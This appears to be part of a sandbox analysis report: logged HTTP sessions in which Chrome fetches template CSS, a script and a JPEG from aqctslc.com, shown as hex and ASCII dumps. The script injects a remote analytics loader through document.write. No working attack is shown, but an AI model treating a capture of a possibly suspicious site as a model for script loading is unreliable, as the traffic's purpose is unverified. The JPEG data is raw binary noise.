2025-01-09 23:51:35 UTC	16140	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 0a 40 46 69 6c 65 3a 20 59 61 6e 67 6f 20 54 65 6d 70 6c 61 74 65 20 53 74 79 6c 65 73 0a 2a 2f 0a 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 44 65 66 61 75 6c 74 20 43 53 53 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 75 6e 69 74 6f 2b 53 61 6e 73 3a 69 74 61 6c 2c 77 67 68 74 40 30 2c 32 30 30 3b 30 2c 33 30 30 3b 30 2c 34 30 30 3b 30 2c 36 30 Data Ascii: ffa8/@File: Yango Template Styles//================================================Default CSS=================================================/@import url("https://fonts.googleapis.com/css2?family=Nunito+Sans:ital,wght@0,200;0,300;0,400;0,60
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 2d 62 61 6e 6e 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 62 74 6e 2d 62 6f 78 20 2e 64 65 66 61 75 6c 74 2d 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 6d 61 69 6e 43 6f 6c 6f 72 29 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 62 61 6e 6e 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 62 74 6e 2d 62 6f 78 20 2e 64 65 66 61 75 6c 74 2d 62 74 6e 3a 68 6f 76 65 72 3a 3a 62 65 66 6f 72 65 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 38 43 43 44 45 3b 0a 7d 0a 0a 2e 6d 61 69 6e 2d 62 61 6e 6e 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 62 74 6e 2d 62 6f 78 20 2e 64 65 66 61 75 6c 74 2d 62 74 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f Data Ascii: -banner-content .btn-box .default-btn:hover { color: var(--mainColor);}.main-banner-content .btn-box .default-btn:hover::before { background-color: #F8CCDE;}.main-banner-content .btn-box .default-btn:nth-child(2) { margin-left: 15px; backgro
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0a 2e 73 69 6e 67 6c 65 2d 70 72 69 63 69 6e 67 2d 62 6f 78 20 7b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 2e 73 69 6e 67 6c 65 2d 70 72 69 63 69 6e 67 2d 62 6f 78 20 2e 70 72 69 63 69 6e 67 2d 68 65 61 64 65 72 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 6e 74 28 6c 69 6e 65 61 72 2c 20 6c 65 66 74 20 74 6f 70 2c 20 72 69 67 68 74 20 74 6f 70 2c 20 66 72 6f 6d 28 23 62 Data Ascii: =============*/.single-pricing-box { overflow: hidden; margin-bottom: 30px; text-align: center; border-radius: 5px; position: relative;}.single-pricing-box .pricing-header { background: -webkit-gradient(linear, left top, right top, from(#b
2025-01-09 23:51:36 UTC	16384	IN	Data Raw: 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 62 6c 6f 63 6b 71 75 6f 74 65 3a 3a 61 66 74 65 72 2c 20 2e 62 6c 6f 63 6b 71 75 6f 74 65 3a 3a 61 66 74 65 72 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 33 70 78 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 6d 61 69 6e 43 6f 6c 6f 72 29 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 2e 63 6f 6d 6d 65 6e 74 73 2d 61 72 65 61 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f Data Ascii: display: none;}blockquote::after, .blockquote::after { top: 0; left: 0; bottom: 0; width: 3px; content: ''; position: absolute; background-color: var(--mainColor); margin-top: 20px; margin-bottom: 20px;}.comments-area { margin-to
2025-01-09 23:51:36 UTC	16384	IN	Data Raw: 69 6f 6e 20 2e 61 63 63 6f 72 64 69 6f 6e 2d 69 74 65 6d 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 2e 61 63 63 6f 72 64 69 6f 6e 2d 62 75 74 74 6f 6e 20 7b 0a 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 30 3b 0a 7d 0a 0a 2f 2a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0d 0a 35 62 34 38 0d 0a 3d 3d 3d 3d 0a 47 65 74 20 53 74 61 72 74 65 64 20 41 72 65 61 20 43 53 53 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 2a 2f 0a 2e 67 65 74 2d 73 74 Data Ascii: ion .accordion-item:first-of-type .accordion-button { border-top-left-radius: 0; border-top-right-radius: 0;}/============================================5b48====Get Started Area CSS=================================================/.get-st
2025-01-09 23:51:36 UTC	7161	IN	Data Raw: 72 72 6f 72 73 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 72 65 64 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 20 23 6d 73 67 53 75 62 6d 69 74 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 20 23 6d 73 67 53 75 62 6d 69 74 2e 74 65 78 74 2d 64 61 6e 67 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 20 23 6d 73 67 53 75 62 6d 69 74 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 20 23 6d 73 67 53 75 62 6d Data Ascii: rrors { color: red; margin-bottom: 0; margin-top: 15px;}.contact-form #msgSubmit { margin: 0;}.contact-form #msgSubmit.text-danger { margin-top: 15px;}.contact-form #msgSubmit.text-success { margin-top: 15px;}.contact-form #msgSubm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49752	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:35 UTC	553	OUT	GET /themes/static/css/responsive.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:35 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:35 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:35 UTC	16140	IN	Data Raw: 39 39 66 61 0d 0a 2f 2a 20 4d 61 78 20 77 69 64 74 68 20 37 36 37 70 78 20 2a 2f 0d 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0d 0a 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 70 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 70 74 62 2d 31 30 30 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 36 30 70 78 3b 0d 0a 20 20 Data Ascii: 99fa/* Max width 767px */@media only screen and (max-width: 767px) { body { font-size: 13px; } p { font-size: 13px; } .container { max-width: 100%; } .ptb-100 { padding-top: 60px; padding-bottom: 60px;
2025-01-09 23:51:35 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 6c 65 66 74 3a 20 2d 33 36 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 73 69 6e 67 6c 65 2d 70 72 69 63 69 6e 67 2d 62 6f 78 20 2e 72 69 62 62 6f 6e 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 73 75 62 73 63 72 69 62 65 2d 61 72 65 61 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 73 75 62 73 63 72 69 62 65 2d 61 72 65 61 20 2e 63 6f 6c 2d 6c 67 2d 34 20 7b 0d 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 33 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 32 3b Data Ascii: left: -36px; } .single-pricing-box .ribbon span { font-size: 12px; } .subscribe-area { padding-top: 60px; } .subscribe-area .col-lg-4 { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2;
2025-01-09 23:51:35 UTC	6907	IN	Data Raw: 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 38 30 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 38 30 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 65 72 72 6f 72 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 30 70 78 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 33 39 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e Data Ascii: padding-top: 80px; padding-bottom: 80px; } .error-content h3 { font-size: 25px; margin-bottom: 15px; margin-top: 40px; } .contact-info { max-width: 395px; padding-right: 0; margin-left: auto; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49754	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:35 UTC	518	OUT	GET /jzwkqucn.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:35 UTC	370	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:35 GMT Content-Type: application/javascript Content-Length: 7747 Last-Modified: Fri, 27 Dec 2024 11:43:15 GMT Connection: close Vary: Accept-Encoding ETag: "676e92d3-1e43" Expires: Fri, 10 Jan 2025 11:51:35 GMT Cache-Control: max-age=43200 Access-Control-Allow-Origin: * Accept-Ranges: bytes
2025-01-09 23:51:35 UTC	7747	IN	Data Raw: 0a 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 70 29 7b 5c 22 75 73 65 20 73 74 72 69 63 74 5c 22 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 73 3d 77 69 6e 64 6f 77 2c 65 3d 64 6f 63 75 6d 65 6e 74 2c 69 3d 70 2c 63 3d 5c 22 5c 22 2e 63 6f 6e 63 61 74 28 5c 22 68 74 74 70 73 3a 5c 22 3d 3d 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3f 5c 22 68 74 74 70 73 3a 2f 2f 5c 22 3a 5c 22 68 74 74 70 3a 2f 2f 5c 22 2c 5c 22 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 5c 22 29 2c 6e 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5c 22 73 63 72 69 70 74 5c 22 29 2c 72 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 Data Ascii: document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49760	104.26.3.190	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	632	OUT	GET /images/img_678003721e3aa9.20406748.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	981	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: image/jpeg Content-Length: 85420 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:12:19 GMT x-rgw-object-type: Normal ETag: "dad4c82e732f06b3c353aab1366d40cb" x-amz-request-id: tx00000f43fa2442a718053-0067806109-5b286d-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5bctDj%2BPTCTUTCWgsJEr3jh7NSPmBPKqS%2BHMk4RUMm8MO10TcZOnlDsrCHaVsB%2FIeHlWlQWtSPUoeF8%2BYMir5A47WWy1ZytG%2BjcWWl8khslzcBQ82EAW879KJjrNpVh%2FUUW2KK4g0R%2FEobgcmjA9CX1g8lHG4Fy9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff856144ef27cf6-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3780&min_rtt=2031&rtt_var=4070&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2479&recv_bytes=1214&delivery_rate=1423695&cwnd=194&unsent_bytes=0&cid=39550d9b4256ebaf&ts=1162&x=0"
2025-01-09 23:51:37 UTC	388	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 02 d0 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIFHH>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: d2 90 9a 40 18 e2 9d 11 db 20 34 cc d0 0f 35 4b 70 3b 0d 2a 7d c8 a3 35 b1 d4 57 21 a4 ce 43 00 4d 75 71 3e 50 1a f4 a9 4a f1 2d 6c 3c f3 50 4f 10 74 a9 b7 0a 0f 22 b4 19 c8 6a 76 9b 58 90 2b 1c 8c 1c 1a ec 75 18 43 a9 ae 52 ea 3d ac 78 ae 0a f4 ec ee 43 44 38 cd 31 b8 34 e1 d6 94 8c 8a e7 01 ab cd 49 8a 6e dc 53 85 00 27 40 69 a4 d3 c8 a6 32 92 28 b0 06 fa 70 6c 8a 66 de 28 5e 0d 00 3c b7 b5 14 9c 1a 50 32 68 b0 0b 8e 29 31 4a 73 4d ce 29 00 74 34 a1 b3 da 93 ad 1b 68 01 c7 04 54 64 54 83 14 86 80 19 8c 50 46 7b d3 ba d1 8a 60 34 0a 5e 07 6a 61 c8 3d 28 cf ad 20 1f c5 27 7a 6e 31 d0 d2 64 83 40 12 11 91 51 85 c1 a7 86 e2 83 c8 a6 03 48 a4 c5 19 20 d3 c7 14 08 6e 38 a3 6f 14 a4 8a 43 40 c3 6e 05 33 a1 eb 4e a6 91 40 80 8c 8a 42 28 a4 34 0c 31 4a 16 90 0a Data Ascii: @ 45Kp;*}5W!CMuq>PJ-l<POt"jvX+uCR=xCD814InS'@i2(plf(^<P2h)1JsM)t4hTdTPF{`4^ja=( 'zn1d@QH n8oC@n3N@B(41J
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 99 83 9a 70 18 14 80 70 18 19 34 70 4d 37 34 0c d3 02 4c 02 29 08 c5 20 38 14 1c 9a 42 0e f8 a5 14 d0 bc d3 f1 c5 03 10 d2 05 e6 9d 8a 52 78 a4 03 42 d1 b7 9a 5d d8 a3 39 a6 03 71 83 46 29 d8 cd 04 71 46 a0 20 e0 d3 ba d3 76 d3 87 14 c0 4d b4 13 81 cd 3b 34 c2 32 3a d0 03 19 e8 dd 9a 36 73 d6 94 2f 3d 69 00 99 ef 46 73 4f da 29 76 81 40 11 e6 ae e9 f2 ec 94 73 54 d9 79 a9 2d ce d9 01 cf 7a b8 4a cc 0e de d6 4d f1 8e 7b 55 83 d2 b2 f4 d9 77 46 39 ad 40 78 af 4e 2e e8 b1 b9 ed 59 f7 b1 6f 53 5a 24 66 a1 9a 3c a1 a6 d5 d0 1c 7d cc 41 18 d5 16 ce 78 ad ad 4a 2c 36 71 59 44 62 bc da aa cc 86 44 41 c5 2a e6 9c 68 02 b2 00 ed 40 a3 3c d3 73 8a 2e 00 d4 d2 7d e9 58 e4 8a 6d 0c 07 06 f7 a5 ce 69 3a 8a 4c 1c 9a 40 3b bd 38 8e 38 a8 cf 07 ad 2e ea 60 38 1a 52 78 a6 Data Ascii: pp4pM74L) 8BRxB]9qF)qF vM;42:6s/=iFsO)v@sTy-zJM{UwF9@xN.YoSZ$f<}AxJ,6qYDbDA*h@<s.}Xmi:L@;88.`8Rx
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 85 e6 9d 8a 04 3c 72 7a d3 bb 71 51 73 9a 32 41 a2 c0 4b 8e 69 40 15 12 b1 34 ed c7 3d 28 b0 0f c5 39 46 7b d4 60 93 52 29 3e 94 80 52 31 49 9c 9a 73 1c 0a 66 ea 2e 03 b0 71 49 4b b8 52 6e 04 d0 02 8c 9a 4e 94 a0 e6 94 8c d0 00 bc d3 fb d2 01 81 41 19 34 00 66 97 8a 69 5e 29 42 d4 dd 80 67 9a 0b 91 45 23 0a 77 00 cd 27 7a 55 14 fd b8 14 00 dc 52 8c 52 11 49 40 0f a6 e3 26 90 1e 69 db b1 4c 03 14 1c 50 4e 69 a5 b1 40 0b 82 69 36 e6 94 36 69 77 60 53 01 02 52 32 e2 94 1e 69 58 12 28 02 2c 60 d3 c0 06 a3 39 07 15 22 02 28 01 4a d0 53 8c d3 8d 2d 17 02 20 86 97 6d 3f b5 00 67 b5 00 37 14 01 9a 71 5a 55 5a 2e 02 15 e2 a3 2b 93 56 08 a4 0b 93 45 c0 88 47 46 dc 03 53 11 81 51 95 e6 98 0c 03 26 97 1c d4 98 a6 95 c9 a9 01 9d 68 c5 3b 65 05 78 a2 e0 35 32 ac 08 ae Data Ascii: <rzqQs2AKi@4=(9F{`R)>R1Isf.qIKRnNA4fi^)BgE#w'zURRI@&iLPNi@i66iw`SR2iX(,`9"(JS- m?g7qZUZ.+VEGFSQ&h;ex52
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 72 0e 30 68 e9 49 9c 1a 00 6b 2e 0e 29 8d 91 52 6e c9 a6 30 c9 a4 03 46 69 f9 e7 9a 6d 20 24 9c 51 76 02 b5 21 00 d2 10 4d 3d 46 07 34 c4 37 a7 5a 30 09 eb 8a 71 e0 d3 58 63 a5 31 8c 27 34 36 0d 0c 36 f2 0d 30 1f 9a 80 1c 17 23 9a 29 cb c8 a2 81 0d c7 3c 52 03 8e d4 ab c5 2f 19 a2 e3 17 38 1d 28 0b 9a 43 da 97 38 00 50 02 ed e2 9c aa 05 0a 33 40 19 34 ae 21 dd a8 02 80 29 c2 8b 80 86 80 33 4b 4b 48 05 51 46 31 46 30 29 7b 52 01 00 a7 66 99 bb b5 00 66 9d c0 7e 72 68 a4 1d 69 c4 73 42 01 49 18 a0 73 da 90 0a 78 c0 14 00 83 8a 76 ef 4a 41 83 4b b7 02 8b 80 16 c8 a3 14 01 4a 4d 2b 80 05 19 a7 04 cd 0b 52 03 40 11 94 c7 14 bb 70 29 ce 33 d2 90 70 39 a0 04 23 02 93 38 a7 f5 a6 ed c1 a0 05 1c d3 fb 54 65 80 1c 90 2a 36 ba 86 21 fb c9 54 7b 67 9a 12 6f 60 b3 24 Data Ascii: r0hIk.)Rn0Fim $Qv!M=F47Z0qXc1'4660#)<R/8(C8P3@4!)3KKHQF1F0){Rff~rhisBIsxvJAKJM+R@p)3p9#8Te*6!T{go`$
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 31 4f a7 0e 69 00 e5 3c 60 d0 d4 dc e2 93 76 68 01 47 14 84 e6 90 d0 32 68 01 71 4e 07 8a 4a 50 38 a6 01 91 4a 0f 14 d2 bc d2 85 c5 30 17 1c d1 8a 50 29 4d 2b 00 de f4 b9 a4 a6 9e 0d 00 3f 34 c6 34 03 9a 46 cd 17 01 41 a7 1e 45 46 33 4e 06 80 02 28 06 9f d6 9a 47 a0 a5 60 14 73 41 5e 33 40 a5 c7 14 c0 4e 82 8e 29 08 24 d2 15 22 80 24 18 a0 f1 4c 04 8a 76 73 40 08 39 a0 8c 53 b1 41 5a 2e 02 67 9a 42 05 29 18 a6 9a 00 5a 63 53 a8 c0 a2 e0 44 4b 51 c9 1c 8a 93 1c f4 a1 86 29 01 12 82 ad 91 5b 3a 6d d1 0c 01 38 ac 8a 9a 07 2a e0 e6 b4 a7 2e 56 07 73 04 81 e3 04 1a 73 1c d6 5e 9b 31 64 03 39 ad 50 99 19 cd 7a 70 95 d1 63 01 20 d3 5c e4 10 45 4c 53 02 a3 65 c8 aa 03 03 53 85 58 93 58 87 82 45 75 d7 16 a2 45 39 15 cd 5f 40 22 97 02 b8 ab c3 a9 2c aa 29 af 9a 71 Data Ascii: 